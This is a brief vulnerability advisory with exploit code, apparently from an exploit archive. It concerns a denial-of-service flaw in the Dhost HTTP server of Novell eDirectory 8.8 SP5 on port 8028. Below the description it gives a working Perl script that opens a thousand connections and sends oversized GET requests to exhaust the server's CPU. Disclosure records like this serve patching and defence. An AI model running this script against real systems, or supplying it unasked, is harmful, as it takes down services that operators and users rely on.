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Novell eDirectory 8.8 SP5 Dhost Http Server DoS



Affected Software:
Novell eDirectory 8.8 SP5

Vulnerability Description:
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.
If a remote attacker sends Unicode strings with Http Request to "8028 port" 
("8028" is the default port of Novell eDirectory Dhost Http Server), 
the attacker can cause the system to consume 100% of the CPU resources.

Credits to:
Hellcode Research

Original Advisory: 
http://tcc.hellcode.net/advisories/hellcode-adv003.txt

Exploit:

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$data = "?" x 500000;

for($i= 0; $i < 1000; $i++)
{
	$sock= new IO::Socket::INET( PeerAddr => "localhost",
	PeerPort => 8028,

	Proto => 'tcp',
	Type => SOCK_STREAM, 

	);
	
	print $sock "GET /$data HTTP/1.0\r\n\r\n";
	
	close($sock);
}

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